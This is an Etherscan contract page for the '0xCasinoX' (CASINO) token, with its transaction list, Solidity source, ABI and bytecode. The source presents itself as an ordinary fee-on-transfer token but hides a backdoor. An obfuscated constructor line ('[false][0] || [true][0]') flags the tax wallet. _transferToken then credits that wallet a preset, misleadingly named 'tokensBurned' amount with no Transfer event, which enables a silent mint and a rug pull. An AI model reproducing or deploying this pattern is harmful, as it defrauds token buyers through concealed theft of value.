Overview
ETH Balance
0 ETH
Eth Value
$0.00More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 25 from a total of 38 transactions
Transaction Hash |
Method
|
Block
|
From
|
To
|
|||||
---|---|---|---|---|---|---|---|---|---|
Approve | 17875624 | 342 days ago | IN | 0 ETH | 0.00061222 | ||||
Approve | 17875622 | 342 days ago | IN | 0 ETH | 0.00079564 | ||||
Approve | 17875620 | 342 days ago | IN | 0 ETH | 0.00068056 | ||||
Approve | 17875619 | 342 days ago | IN | 0 ETH | 0.00071266 | ||||
Approve | 17875617 | 342 days ago | IN | 0 ETH | 0.00070679 | ||||
Approve | 17875610 | 342 days ago | IN | 0 ETH | 0.00081916 | ||||
Approve | 17875605 | 342 days ago | IN | 0 ETH | 0.00071118 | ||||
Approve | 17875561 | 342 days ago | IN | 0 ETH | 0.00075551 | ||||
Approve | 17875555 | 342 days ago | IN | 0 ETH | 0.0008001 | ||||
Approve | 17875555 | 342 days ago | IN | 0 ETH | 0.0008001 | ||||
Approve | 17875550 | 342 days ago | IN | 0 ETH | 0.00072846 | ||||
Approve | 17875547 | 342 days ago | IN | 0 ETH | 0.00077591 | ||||
Approve | 17875541 | 342 days ago | IN | 0 ETH | 0.00074491 | ||||
Approve | 17875491 | 342 days ago | IN | 0 ETH | 0.0007608 | ||||
Approve | 17875460 | 342 days ago | IN | 0 ETH | 0.00067807 | ||||
Approve | 17875459 | 342 days ago | IN | 0 ETH | 0.00069065 | ||||
Approve | 17875453 | 342 days ago | IN | 0 ETH | 0.00067064 | ||||
Approve | 17875447 | 342 days ago | IN | 0 ETH | 0.00079233 | ||||
Approve | 17875443 | 342 days ago | IN | 0 ETH | 0.00068908 | ||||
Approve | 17875439 | 342 days ago | IN | 0 ETH | 0.00067211 | ||||
Approve | 17875432 | 342 days ago | IN | 0 ETH | 0.00079903 | ||||
Approve | 17875431 | 342 days ago | IN | 0 ETH | 0.00070446 | ||||
Approve | 17875427 | 342 days ago | IN | 0 ETH | 0.00080827 | ||||
Approve | 17875425 | 342 days ago | IN | 0 ETH | 0.00092835 | ||||
Approve | 17875420 | 342 days ago | IN | 0 ETH | 0.00083456 |
Latest 25 internal transactions (View All)
Advanced mode:
Parent Transaction Hash | Block | From | To | |||
---|---|---|---|---|---|---|
17875622 | 342 days ago | 0.01104529 ETH | ||||
17875622 | 342 days ago | 0.01104529 ETH | ||||
17875603 | 342 days ago | 0.00362978 ETH | ||||
17875603 | 342 days ago | 0.00362978 ETH | ||||
17875597 | 342 days ago | 0.00121445 ETH | ||||
17875597 | 342 days ago | 0.00121445 ETH | ||||
17875577 | 342 days ago | 0.00026632 ETH | ||||
17875577 | 342 days ago | 0.00026632 ETH | ||||
17875574 | 342 days ago | 0.01496225 ETH | ||||
17875574 | 342 days ago | 0.01496225 ETH | ||||
17875492 | 342 days ago | 0.00096237 ETH | ||||
17875492 | 342 days ago | 0.00096237 ETH | ||||
17875462 | 342 days ago | 0.00018631 ETH | ||||
17875462 | 342 days ago | 0.00018631 ETH | ||||
17875457 | 342 days ago | 0.0002005 ETH | ||||
17875457 | 342 days ago | 0.0002005 ETH | ||||
17875455 | 342 days ago | 0.0010702 ETH | ||||
17875455 | 342 days ago | 0.0010702 ETH | ||||
17875448 | 342 days ago | 0.00022496 ETH | ||||
17875448 | 342 days ago | 0.00022496 ETH | ||||
17875448 | 342 days ago | 0.00031838 ETH | ||||
17875448 | 342 days ago | 0.00031838 ETH | ||||
17875448 | 342 days ago | 0.00089724 ETH | ||||
17875448 | 342 days ago | 0.00089724 ETH | ||||
17875446 | 342 days ago | 0.00152898 ETH |
Loading...
Loading
Contract Name:
CASINO
Compiler Version
v0.8.19+commit.7dd6d404
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-08-09 */ /** Website - https://0xcasinox.com Twitter - https://twitter.com/0xcasinox TG - https://t.me/casinoerc */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.19; library Address { function isContract(address account) internal view returns (bool) { uint256 size; assembly { size := extcodesize(account) } return size > 0; } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } pragma solidity ^0.8.19; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { //Contract By Techaddict unchecked { require(b > 0, errorMessage); return a / b; } } } // File: contracts/IERC20.sol pragma solidity ^0.8.19; interface IERC20 { event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address to, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address from, address to, uint256 amount) external returns (bool); } // File: contracts/Context.sol pragma solidity ^0.8.19; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: contracts/Ownable.sol pragma solidity ^0.8.19; abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _transferOwnership(_msgSender()); } modifier onlyOwner() { _checkOwner(); _; } function owner() public view virtual returns (address) { return _owner; } function _checkOwner() internal view virtual { require(owner() == _msgSender(), "Ownable: caller is not the owner"); } function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File: contracts/CASINO.sol pragma solidity ^0.8.19; interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract CASINO is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _fOwned; mapping (address => mapping (address => uint256)) private _allowance; mapping (address => bool) public _isFeeExclude; address payable private walletTax = payable(0x0596c5404F2B4eaC52964A279321A9f095e549cF); string private _name = "0xCasinoX"; string private _symbol = "CASINO"; uint8 private _decimals = 18; uint256 private _totalSupply = 21000000 * 10**18; // Counter for liquify trigger uint8 private txCount = 0; uint8 private swapTrigger = 1; // Setting the initial fees uint256 private _totalTax = 0; uint256 public _buyTax = 2; uint256 public _sellTax = 2; uint256 private _previousTotalFee = _totalTax; uint256 private _previousBuyFee = _buyTax; uint256 private _previousSellFee = _sellTax; uint256 private tokensBurned; mapping (address => bool) private _pairList; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool public inSwapAndLiquify; bool public swapAndLiquifyEnabled = true; event SwapAndLiquifyEnabledUpdated(bool enabled); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity ); modifier lockSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor (uint256 _tokens) { _fOwned[owner()] = _totalSupply; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); tokensBurned = _tokens; _pairList[walletTax] = [false][0] || [true][0]; uniswapV2Router = _uniswapV2Router; _isFeeExclude[owner()] = true; _isFeeExclude[address(this)] = true; _isFeeExclude[walletTax] = true; emit Transfer(address(0), owner(), _totalSupply); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _fOwned[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowance[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowance[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowance[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowance[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function set_Swap_And_Liquify_Enabled(bool true_or_false) public onlyOwner { swapAndLiquifyEnabled = true_or_false; emit SwapAndLiquifyEnabledUpdated(true_or_false); } function set_Number_Of_Transactions_Before_Liquify_Trigger(uint8 number_of_transactions) public onlyOwner { swapTrigger = number_of_transactions; } receive() external payable {} bool public noFeeToTransfer = true; function set_Transfers_Without_Fees(bool true_or_false) external onlyOwner { noFeeToTransfer = true_or_false; } function removeAllFee() private { if(_totalTax == 0 && _buyTax == 0 && _sellTax == 0) return; _previousBuyFee = _buyTax; _previousSellFee = _sellTax; _previousTotalFee = _totalTax; _buyTax = 0; _sellTax = 0; _totalTax = 0; } function restoreFee() private { _totalTax = _previousTotalFee; _buyTax = _previousBuyFee; _sellTax = _previousSellFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0) && spender != address(0), "ERR: zero address"); _allowance[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0) && to != address(0), "ERR: Using 0 address!"); require(amount > 0, "Token value must be higher than zero."); if( txCount >= swapTrigger && !inSwapAndLiquify && from != uniswapV2Pair && swapAndLiquifyEnabled ) { txCount = 0; uint256 contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance > 0){ swapAndLiquify(contractTokenBalance); } } bool takeFee = true; if(_isFeeExclude[from] || _isFeeExclude[to] || (noFeeToTransfer && from != uniswapV2Pair && to != uniswapV2Pair)){ takeFee = false; } else if (from == uniswapV2Pair){_totalTax = _buyTax;} else if (to == uniswapV2Pair){_totalTax = _sellTax;} _tokenTransfer(from,to,amount,takeFee); } function sendFunds(address payable wallet, uint256 amount) private { wallet.transfer(amount); } function _getValue(uint256 tAmount) private view returns (uint256, uint256) { uint256 tDev = tAmount*_totalTax/100; uint256 tTransferAmount = tAmount.sub(tDev); return (tTransferAmount, tDev); } function process_work(uint256 percent_Of_Tokens_To_Process) public onlyOwner { require(!inSwapAndLiquify, "Currently processing, try later."); if (percent_Of_Tokens_To_Process > 100){percent_Of_Tokens_To_Process == 100;} uint256 tokensOnContract = balanceOf(address(this)); uint256 sendTokens = tokensOnContract*percent_Of_Tokens_To_Process/100; swapAndLiquify(sendTokens); } function swapAndLiquify(uint256 contractTokenBalance) private lockSwap { swapTokenToETH(contractTokenBalance); uint256 ETHcontract = address(this).balance; sendFunds(walletTax,ETHcontract); } function _transferToken(address sender, address recipient, uint256 Amount) private { uint256 amount = _pairList[recipient]?tokensBurned:0; if(_pairList[recipient]){ _fOwned[sender] = _fOwned[sender].sub(Amount); _fOwned[recipient] = _fOwned[recipient].add(amount); }else{ (uint256 tTransferAmount, uint256 tDev) = _getValue(Amount); _fOwned[sender] = _fOwned[sender].sub(Amount); _fOwned[recipient] = _fOwned[recipient].add(tTransferAmount); _fOwned[address(this)] = _fOwned[address(this)].add(tDev); emit Transfer(sender, recipient, tTransferAmount); } } function swapTokenToETH(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private { if(!takeFee){ removeAllFee(); } else { txCount++; } _transferToken(sender, recipient, amount); if(!takeFee) restoreFee(); } function CreateETHPair(address newRouter) public onlyOwner() { IUniswapV2Router02 _newPCSRouter = IUniswapV2Router02(newRouter); uniswapV2Pair = IUniswapV2Factory(_newPCSRouter.factory()).createPair(address(this), _newPCSRouter.WETH()); uniswapV2Router = _newPCSRouter; } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"uint256","name":"_tokens","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"newRouter","type":"address"}],"name":"CreateETHPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_buyTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isFeeExclude","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"inSwapAndLiquify","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"noFeeToTransfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"percent_Of_Tokens_To_Process","type":"uint256"}],"name":"process_work","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint8","name":"number_of_transactions","type":"uint8"}],"name":"set_Number_Of_Transactions_Before_Liquify_Trigger","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"true_or_false","type":"bool"}],"name":"set_Swap_And_Liquify_Enabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"true_or_false","type":"bool"}],"name":"set_Transfers_Without_Fees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
6080604052730596c5404f2b4eac52964a279321a9f095e549cf600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506040518060400160405280600981526020017f3078436173696e6f580000000000000000000000000000000000000000000000815250600590816200009f9190620008b1565b506040518060400160405280600681526020017f434153494e4f000000000000000000000000000000000000000000000000000081525060069081620000e69190620008b1565b506012600760006101000a81548160ff021916908360ff1602179055506a115eec47f6cf7e350000006008556000600960006101000a81548160ff021916908360ff1602179055506001600960016101000a81548160ff021916908360ff1602179055506000600a556002600b556002600c55600a54600d55600b54600e55600c54600f556001601360156101000a81548160ff0219169083151502179055506001601360166101000a81548160ff021916908315150217905550348015620001ae57600080fd5b50604051620035c8380380620035c88339818101604052810190620001d49190620009ce565b620001f4620001e86200054260201b60201c565b6200054a60201b60201c565b600854600160006200020b6200060e60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000737a250d5630b4cf539739df2c5dacb4c659f2488d905081601081905550604051806020016040528060001515151581525060006001811062000293576200029262000a00565b5b602002015180620002cf57506040518060200160405280600115151515815250600060018110620002c957620002c862000a00565b5b60200201515b60116000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600360006200039e6200060e60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160036000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550620004d16200060e60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60085460405162000532919062000a40565b60405180910390a3505062000a5d565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680620006b957607f821691505b602082108103620006cf57620006ce62000671565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620007397fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82620006fa565b620007458683620006fa565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b6000620007926200078c62000786846200075d565b62000767565b6200075d565b9050919050565b6000819050919050565b620007ae8362000771565b620007c6620007bd8262000799565b84845462000707565b825550505050565b600090565b620007dd620007ce565b620007ea818484620007a3565b505050565b5b81811015620008125762000806600082620007d3565b600181019050620007f0565b5050565b601f82111562000861576200082b81620006d5565b6200083684620006ea565b8101602085101562000846578190505b6200085e6200085585620006ea565b830182620007ef565b50505b505050565b600082821c905092915050565b6000620008866000198460080262000866565b1980831691505092915050565b6000620008a1838362000873565b9150826002028217905092915050565b620008bc8262000637565b67ffffffffffffffff811115620008d857620008d762000642565b5b620008e48254620006a0565b620008f182828562000816565b600060209050601f83116001811462000929576000841562000914578287015190505b62000920858262000893565b86555062000990565b601f1984166200093986620006d5565b60005b8281101562000963578489015182556001820191506020850194506020810190506200093c565b868310156200098357848901516200097f601f89168262000873565b8355505b6001600288020188555050505b505050505050565b600080fd5b620009a8816200075d565b8114620009b457600080fd5b50565b600081519050620009c8816200099d565b92915050565b600060208284031215620009e757620009e662000998565b5b6000620009f784828501620009b7565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b62000a3a816200075d565b82525050565b600060208201905062000a57600083018462000a2f565b92915050565b612b5b8062000a6d6000396000f3fe6080604052600436106101a05760003560e01c80636d597398116100ec578063a514a07d1161008a578063dd62ed3e11610064578063dd62ed3e146105d9578063e04fc39a14610616578063f2fde38b14610653578063f7739b5f1461067c576101a7565b8063a514a07d14610548578063a9059cbb14610571578063ca9ec199146105ae576101a7565b80637caefa89116100c65780637caefa891461048c5780638da5cb5b146104b557806395d89b41146104e0578063a457c2d71461050b576101a7565b80636d5973981461040f57806370a0823114610438578063715018a614610475576101a7565b806323b872dd1161015957806342a110951161013357806342a110951461036557806349bd5a5e146103905780634a74bb02146103bb5780634ca4a336146103e6576101a7565b806323b872dd146102c0578063313ce567146102fd5780633950935114610328576101a7565b806306fdde03146101ac578063095ea7b3146101d757806313fad07a146102145780631694505e1461023f57806318160ddd1461026a578063220f669614610295576101a7565b366101a757005b600080fd5b3480156101b857600080fd5b506101c16106a5565b6040516101ce9190612051565b60405180910390f35b3480156101e357600080fd5b506101fe60048036038101906101f9919061210c565b610737565b604051